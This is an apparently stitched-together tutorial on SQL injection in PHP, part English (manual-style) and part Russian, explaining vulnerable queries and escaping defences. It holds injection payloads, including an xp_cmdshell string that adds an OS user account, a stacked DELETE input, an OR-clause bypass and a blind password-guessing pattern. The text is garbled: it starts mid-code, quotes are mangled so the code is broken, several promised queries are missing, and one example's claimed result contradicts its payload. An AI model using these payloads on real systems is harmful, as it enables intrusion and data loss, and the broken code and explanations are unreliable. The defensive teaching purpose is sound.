$query = "UPDATE usertable SET pwd="..." WHERE uid="" or uid like "%admin%";" ;

// $pwd: hehehe", trusted=100, admin="yes
$query = "UPDATE usertable SET pwd="hehehe", trusted=100, admin="yes" WHERE
...;"
;

?>

A frightening example how operating system level commands can be accessed on some database hosts.

If attacker submits the value a%" exec master..xp_cmdshell "net user test testpass /ADD" -- to $prod , then the $query will be: MSSQL Server executes the SQL statements in the batch including a command to add a new user to the local accounts database. If this application were running as sa and the MSSQLSERVER service is running with sufficient privileges, the attacker would now have an account with which to access this machine.

Some of the examples above is tied to a specific database server. This does not mean that a similar attack is impossible against other products. Your database server may be similarly vulnerable in another manner.

Example #5 A more secure way to compose a query for paging

settype ($offset , "integer" );
$query = "SELECT id, name FROM products ORDER BY name LIMIT 20 OFFSET $offset ;" ;

// please note %d in the format string, using %s would be meaningless
$query = sprintf ("SELECT id, name FROM products ORDER BY name LIMIT 20 OFFSET %d;" ,
$offset );

?>

  • If the database layer doesn"t support binding variables then quote each non numeric user supplied value that is passed to the database with the database-specific string escape function (e.g. mysql_real_escape_string() , sqlite_escape_string() , etc.). Generic functions like addslashes() are useful only in a very specific environment (e.g. MySQL in a single-byte character set with disabled NO_BACKSLASH_ESCAPES) so it is better to avoid them.
  • Do not print out any database specific information, especially about the schema, by fair means or foul. See also Error Reporting and Error Handling and Logging Functions .
  • You may use stored procedures and previously defined cursors to abstract data access so that users do not directly access tables or views, but this solution has another impacts.
  • Besides these, you benefit from logging queries either within your script or by the database itself, if it supports logging. Obviously, the logging is unable to prevent any harmful attempt, but it can be helpful to trace back which application has been circumvented. The log is not useful by itself, but through the information it contains. More detail is generally better than less.

    SQL-инъекции — встраивание вредоносного кода в запросы к базе данных — наиболее опасный вид атак. С использованием SQL-инъекций злоумышленник может не только получить закрытую информацию из базы данных, но и, при определенных условиях, внести туда изменения.

    Уязвимость по отношению к SQL-инъекциям возникает из-за того, что пользовательская информация попадает в запрос к базе данных без должной обработке: чтобы скрипт не был уязвим, требуется убедиться, что все пользовательские данные попадают во все запросы к базе данных в экранированном виде. Требование всеобщности и является краеугольным камнем: допущенное в одном скрипте нарушение делает уязвимой всю систему.

    Пример уязвимости

    Предположим, имеется скрипт, отображающий список пользователей из данного города, принимающий в качестве GET-параметра id города. Обращение к скрипту будет происходить с помощью HTTP по адресу /users.php?cityid=20

    В скрипте выше разработчик вставляет GET-параметр в SQL-запрос, подразумевая, что в GET-параметре всегда будет число. Злоумышленник может передать в качестве параметра строку и тем самым повредить запрос. Например, он обратится к скрипту как /users.php?cityid=20; DELETE * FROM users
    SQL-запрос получится таким:

    Запрос выполнится, и скрипт выдаст не только пользователей из заданного города, но и список всех пользователей, у которых вместо реального имени отобразится пароль.

    Как защититься?

    Давайте заключим пользователькую информацию в одинарные кавычки. Поможет ли это?

    Из примера выше видно, что заключить в одиночные кавычки недостаточно. Необходимо также экранировать все кавычки, содержащиеся в строке. Для этого в PHP предусмотрена функция mysql_real_escape_string(), которая добавляет обратный слеш перед каждой кавычкой, обратной кавычкой и некоторыми другим спецсимволами. Рассмотрим код:

    Итак, чтобы защититься от SQL-инъекций, все внешние параметры, которые могут содержать текст, должны быть перед включением в SQL-запрос обработаны с помощью mysql_real_escape_string() и заключены в одиночные кавычки.

    Если известно, что параметр должен принимать числовое значение числовым, его можно привести к числовому виду явно с помощью функции intval() или floatval() . В данном примере мы могли бы использовать:

    $sql = "SELECT username, realname
    FROM users
    WHERE cityid=""
    .intval ( $_GET [ "cityid" ]) .""" ;

    Отличия mysql_real_escape_string() и mysql_escape_string()

    mysql_real_escape_string() является усовершенствованной версией функции mysql_escape_string(), широко применяемой для формирования безопасных запросов к БД MySQL. Отличия этих двух функций в том, что mysql_real_escape_string() правильно работает с многобайтовыми кодировками.

    Предположим, в обрабатываемых данных есть символ (скажем, в UTF-8), код которого состоит из двух байт — шестнадцатеричных 27 и 2B (десятичные 39 и 43 соответственно). mysql_escape_string() воспринимает каждый байт передаваемых ей данных как отдельный символ (точнее, как код отдельного символа) и решит, что последовательность байт 27 и 2B — это два разных символа: одинарная кавычка (") и плюс (+). Поскольку функция воспринимает кавычку как специальный символ, перед байтом с кодом 27, который на самом деле является частью какого-то безобидного символа, будет добавлен слэш (\). В результате данные отправятся в базу в искаженном виде.

    Стоит отметить, что mysql_real_escape_string() работает правильно во всех случаях и может полностью заменить mysql_escape_string().

    mysql_real_escape_string() доступна в PHP с версии 4.3.0.

    Дополнительные примеры

    Мы рассмотрели наиболее простой пример, но на практике уязвимый запрос может быть более сложным и не отображать свои результаты пользователю. Далее рассмотрим примеры SQL-инъекций в некоторых более сложных случаях, не претендуя на полноту.

    Инъекция в сложных запросах

    В простейшем примере была возможность встроить код в конец SQL-запроса. На практике в конце SQL-запроса могут быть дополнительные условия, операторы сортировки, группировки и другие SQL-конструкции. В каждом конкретном случае, злоумышленник постарается встроить вредоносный кусок таким образом, чтобы запрос в целом остался синтаксически корректным, но выполнял другую функцию. Здесь мы рассмотрим простейший пример уязвимого запроса с дополнительным условием.

    В результате условие age<35 не будет влиять на выборку, т.к. оператор OR имеет более низкий приоритет, чем AND, и WHERE из приведённого выше запроса по-другому можно записать в виде WHERE (cityid="20" AND 1 ) OR ("1" AND age<"35" ) (напомним, что выражение WHERE 1 истинно всегда). В результате под условие подойдут и те строки, у которых cityid="20", и те, у которых age<35, причем наличие последних не обязательно.

    В случае сложных запросов успешные SQL-иъекции требуют некоторой изобретательности, но можно ожидать, что у злоумышленников она имеется.

    Результаты запроса не отображаются пользователю

    Может оказаться, что уязвимым является запрос, результаты которого не отображаются пользователю. Это может быть, например, вспомогательный запрос:

    $sql = "SELECT count(*)
    FROM users
    WHERE userid=""
    .$_GET [ "userid" ] .""" ;

    Запрос выше всего лишь проверяет наличие пользователя с данным userid: если он возвращает любую отличную от нуля величину — показывается профиль пользователя с соответствующим userid, если же возвращён 0 (то есть, нет пользователей, удовлетворяющих критерию запроса) — сообщение "пользователь не найден".

    В этом случае определение пароля (или другой информации) производится перебором. Взломщик передает в качестве параметра userid строку 2" AND password LIKE "a% . Итоговый запрос:

    SELECT count (*) FROM users WHERE userid= "2" AND password LIKE "a% "

    Взломщик получит "пользователь не найден", если пароль не начинается на букву "a", или стандартную страницу с профилем пользователя, в противном случае. Перебором определяется первая буква пароля, затем вторая и.т.д.

    Выводы

    • Все запросы, использующие внешние данные, требуется защитить от SQL-инъекций. Внешние данные могут быть переданы не только в качестве GET-параметров, но и методом POST, взяты из COOKIE, со сторонних сайтов или из базы данных, в которую пользователь имел возможность занести информацию.
    • Все числовые параметры следует явно преобразовывать в числовой вид с помощью функций intval() и floatval()
    • Все строковые параметры следует экранировать с помощью mysql_real_escape_string() и заключать в кавычки.
    • Если построить SQL-инъекцию сложно, не следует ожидать, что злоумышленник не догадается как это сделать. Особенно это относится к движкам, исходный код которых является публичным.

    Удачи в построении безопасных приложений!



    
    Top